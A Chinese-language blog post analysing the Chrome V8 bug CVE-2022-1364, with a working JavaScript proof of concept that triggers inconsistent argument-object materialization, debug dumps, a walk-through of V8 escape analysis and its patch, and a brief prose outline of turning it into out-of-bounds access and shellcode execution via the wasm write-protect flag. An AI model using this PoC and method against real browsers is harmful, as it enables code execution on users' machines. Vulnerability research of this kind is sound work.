Chrome漏洞分析与利用(十二)——issue 1315901(CVE-2022-1364)

POC

issue-1315901

function foo(bug) {
    function C(z) {
      Error.prepareStackTrace = function(t, B) {
        return B[z].getThis();
      };
      // Error()是为了创建Error对象,Error对象创建会
      // 调用Summarize函数重复创建对象,stack是为了执行
      // prepareStackTrace回调函数
      let p = Error().stack;
      return p;
    }
    function J() {}
    var optim = false;
    function opt (a, b){
        b.d(a,b,1);
    };
    var e = null;
    // 传入arguments对象是为了将arguments对象作为eval函数的this对象
    J.prototype.d = function (a, b){
        "use strict";
        b.a.call(arguments,b);
        return arguments[a];
    };

    J.prototype.a = function(a){
        a.b(a);
    };
    // if(s)是为了防止解优化(分支中代码行数过少也会被解优化),
    // 解优化只会调用一次TranslatedValue::GetValue函数
    // 来具体化对象,而不执行解优化步骤时每次创建Error对象
    // 都会调用一次TranslatedValue::GetValue函数也就是
    // 说每创建一次Error对象,都会创建一个新的对象
    J.prototype.b = function(b){
        b.c();
        let s = false;
        if(s){
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
            k = i*2;k = i*2;k = i*2;k = i*2;
        }
    };
    J.prototype.c = function() {
      if (optim) {
        // 创建两次Error对象
        var z = C(3);
        var p = C(3);
        e = {M: z, C: p};
      }
    };
    var a = new J();
    // jit optim
    if (bug) {
      for (var V = 0; 1E4 > V; V++) {
        opt(1, a);
      }
    }
    optim = true;
    opt(1, a);
    return e;
  }
  
  e1 = foo(false);
  // prints true.
  console.log(e1.M === e1.C); 
  e2 = foo(true);
  // should be true as above but prints false.
  console.log(e2.M === e2.C); 
  

漏洞分析

运行POC会发现两个console.log会输出两个不一样的结果:

true
false

通过DebugPrint输出e1.M与e1.C会发现其element与对象都指向同一块内存区域

DebugPrint: 0000020B000CBC11: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x020b002848a9 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x020b00244041 <Object map = 0000020B002821E9>
 - elements: 0x020b000cbbfd <FixedArray[3]> [PACKED_ELEMENTS]
 - properties: 0x020b00002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0000020B00004D89: [String] in ReadOnlySpace: #length: 3 (data field 0), location: in-object
    0000020B00004361: [String] in ReadOnlySpace: #callee: 0x020b0024f2fd <AccessorPair> (const accessor descriptor), location: descriptor
    0x020b00005c0d <Symbol: Symbol.iterator>: 0x020b001c422d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x020b000cbbfd <FixedArray[3]> {
           0: 0
           1: 0x020b000cbbc9 <J map = 0000020B00287991>
           2: 1
 }
 ......
DebugPrint: 0000020B000CBC11: [JS_ARGUMENTS_OBJECT_TYPE]
 - map: 0x020b002848a9 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x020b00244041 <Object map = 0000020B002821E9>
 - elements: 0x020b000cbbfd <FixedArray[3]> [PACKED_ELEMENTS]
 - properties: 0x020b00002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0000020B00004D89: [String] in ReadOnlySpace: #length: 3 (data field 0), location: in-object
    0000020B00004361: [String] in ReadOnlySpace: #callee: 0x020b0024f2fd <AccessorPair> (const accessor descriptor), location: descriptor
    0x020b00005c0d <Symbol: Symbol.iterator>: 0x020b001c422d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x020b000cbbfd <FixedArray[3]> {
           0: 0
           1: 0x020b000cbbc9 <J map = 0000020B00287991>
           2: 1
 }
 .......

但是当输出e2.M与e2.C时,只有element指向同一块内存区域,对象则位于不同的内存区域:

DebugPrint: 0000001C0025765D: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace
 - map: 0x001c002848a9 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x001c00244041 <Object map = 0000001C002821E9>
 - elements: 0x001c000d9ec5 <FixedArray[3]> [PACKED_ELEMENTS]
 - properties: 0x001c00002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0000001C00004D89: [String] in ReadOnlySpace: #length: 3 (data field 0), location: in-object
    0000001C00004361: [String] in ReadOnlySpace: #callee: 0x001c0024f2fd <AccessorPair> (const accessor descriptor), location: descriptor
    0x001c00005c0d <Symbol: Symbol.iterator>: 0x001c001c422d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x001c000d9ec5 <FixedArray[3]> {
           0: 0
           1: 0x001c000cccb1 <J map = 0000001C00287AA9>
           2: 1
 }
......
DebugPrint: 0000001C0025768D: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace
 - map: 0x001c002848a9 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x001c00244041 <Object map = 0000001C002821E9>
 - elements: 0x001c000d9ec5 <FixedArray[3]> [PACKED_ELEMENTS]
 - properties: 0x001c00002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0000001C00004D89: [String] in ReadOnlySpace: #length: 3 (data field 0), location: in-object
    0000001C00004361: [String] in ReadOnlySpace: #callee: 0x001c0024f2fd <AccessorPair> (const accessor descriptor), location: descriptor
    0x001c00005c0d <Symbol: Symbol.iterator>: 0x001c001c422d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x001c000d9ec5 <FixedArray[3]> {
           0: 0
           1: 0x001c000cccb1 <J map = 0000001C00287AA9>
           2: 1
 }
......

通过查看POC代码会发现e1,e2中的C,M对象都是是通过C函数获取到的,C函数中通过let p = Error.stack获取到在Error.prepareStackTrace回调中返回的B[3],通过打印可知M,C均为Arguments对象
在这里插入图片描述
当代码执行到let p = Error.stack时会触发MaybeHandle<Object> ErrorUtils::FormatStackTrace函数调用,在执行该函数时会跳过if分支进入else分支执行
在这里插入图片描述
之后会先获取全局error函数对象global_error,然后从中获取到prepare_stack_trace回调函数对象
在这里插入图片描述
随后判断prepare_stack_trace是否是函数对象,之后获取scope函数参数等并将其作为参数去调用Execution::Call函数。
在这里插入图片描述
之后先通过调用SetUpForCal函数来初始化InvokeParams对象,然后将InvokeParams对象传入Invoke函数来执行回调函数。
在这里插入图片描述
在这里插入图片描述
Invoke函数会先判断param.target是否为函数对象,通过SetUpForCal函数可知param.target指向callable所以此判断条件成立
在这里插入图片描述
之后判断是否是api回调,如果是就直接去调用,此处并非API回调于是会跳过此分支
在这里插入图片描述
然后再判断是否需要ScriptContext,如果需要就为回调函数对象设置Context,在此处也不需要上下文会直接跳过此分支。
在这里插入图片描述
之后还会步过一些if分支,最终执行到以下代码处初始化上下文等内容
在这里插入图片描述
然后判断params.execution_target是否为Execution::Target::kCallable,此处满足此条件进入此分支,先通过GeneratedCode来获取回调函数的汇编代码stub_entry
在这里插入图片描述
之后通过stub_entry.Call调用回调函数。
在这里插入图片描述
在回调函数产生的JIT代码中会去调用getThis函数,此函数为builtin函数,此函数会通过frame对象中保存的信息获取到相应函数的receiver对象
在这里插入图片描述
本以为指向同一块element的ArgumentsObject对象是在getThis中生成的,但在getThis函数的执行逻辑中并未找到,再结合patch与类似的漏洞cve 2021-21195的漏洞分析,最后发现实际是在OptimizedFrame::Summarize函数中生成的,该函数在创建JSError对象过程中被调用会打包产生错误的函数及其相关对象数据。
在这里插入图片描述
Summarize函数会先获取code对象,然后根据code对象判断其kind是否为BUILTIN,如果是的话就委托给JS Frame处理,然后再获取解优化数据。
在这里插入图片描述
之后创建translated对象进行翻译并根据该对象中的frame进行迭代处理,frame的kind是否等于kUnoptimizedFunction、kJavaScriptBuiltinContinuation或者kJavaScriptBuiltinContinuationWithCatch
在这里插入图片描述
如果满足条件就会继续后续的步骤,通过前面的注释也可以看出在后续的步骤中会导致对象被多次创建
在这里插入图片描述
当在获取receiver时会去调用TranslatedValue::GetValue函数,该函数会根据kind来判断是获取还是重新构造对象
在这里插入图片描述
其中最后一个if分支是要重新构造对象的情况
在这里插入图片描述
在这里插入图片描述
通过阅读相关文档以及chromium源码可知v8在逃逸分析后会将allocate节点删除,逃逸分析这一阶段根据我个人的理解其作用大致就是保留图(Node Graph)中逃逸对象的节点删除未逃逸对象的节点,同时在google对于此漏的报告里也有提到:CVE-2022-1364: Inconsistent Object Materialization in V8,具体代码位于 EscapeAnalysisReducer::Reduce函数内,该函数负责将逃逸分析阶段的优化结果具体实施到图中,大致处理过程就是放松未逃逸的allocate分配节点,使其在图中不可达:
在这里插入图片描述
通过与turbolizer图的比较可知argument对象生成会触发allocate节点
在这里插入图片描述
在这里插入图片描述
而在经过逃逸分析阶段后会因为前面图中代码的执行导致此allocate节点将不可达变为死节点,死结点最后会在死代码分析阶段被删除。
在这里插入图片描述
而在执行EscapeAnalysisReducer::Reduce函数执行缩减之前会先执行EscapeAnalysis::Reduce函数,而该函数会去调用ReduceNode函数,ReduceNode函数函数会针对不同的节点进入不同的分支进行处理:
在这里插入图片描述
对于所有对象创建,会先进入allocate节点处理分支根据传入的所需内存大小为对象分配一个VirtualObject对象,该对象用于跟踪对象的存储与加载,argument对象也不例外,不过此处并不会具体的为分配的虚拟对象设置节点,而是先用dead节点为分配的临时内存进行初始化在后期具体的相应节点处理分支中会获取虚拟对象并为其设置具体的节点。
在这里插入图片描述
而结合patch可知存在漏洞的版本中对framestate节点没有任何处理,而在修补过后的framestate节点分支中会先将FrameStateType与Summarize函数中的frame->kind_进行同步,随后获取FrameState的输入节点StateValue节点,并使用StateValue节点初始化一个迭代器,此迭代器用于获取StateValue节点的输入节点,随后用迭代器获取相应function对象及其receiver,通过输出POC代码中Error.prepareStackTrace回调函数中的B数组内容可知其中receiver对应的就是arguments对象,而function就是argument.eval函数。
在这里插入图片描述
在这里插入图片描述
而将receiver与function对象设为逃逸是为了防止在后期的EscapeAnalysisReducer::Reduce函数中放松其allocate节点,allocate节点不被放松其分配也不会被删除,如果分配不被删除,在Summarize函数中就不会去创建对象而是直接去获取自然也就不会触发漏洞。
在这里插入图片描述
通过google的报告可知由于节点对象未被标记为逃逸而在最后被删除分配但是由于在后期解优化时还需要将其实例化所以会将其相关信息保存下来。由于POC中return arguments[a]触发的LoadElement节点操作使Element也被保存了下来而ArgumentObject因为未逃逸最后被优化删除,最终导致在TranslatedValue::GetValue函数每次运行都会创建一个同样element的ArgumentObject。
在这里插入图片描述

漏洞利用

OOB

越界方法与CVE 2021-38003利用方法一致,概括一下就是因为当Map删除元素时会将该元素key和value都写入hole并将map.size-1,当map中有一个key为hole和一个key为正常数字的元素的时候,可以删除两次key为hole的元素,当第一次删除hole key时map.size-1=1然后将hole key与hole value写入,当第二次删除hole key时map.size将为0,当删除key为正常数字的元素时map.size就会变成0-1最终使map.size等于-1,详细说明:CVE 2021-38003

绕过WASM写保护

通过调试与查找找到FLAG_ wasm_ write_ protect_ code_ Memory标志,查看该标志的引用发现此标志与wasm可执行内存的写入权限,通过前面越界利用实现的读写原语可将此标志改写为true即可打开wasm可执行地址的写权限,然后直接写入shellcode执行即可。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值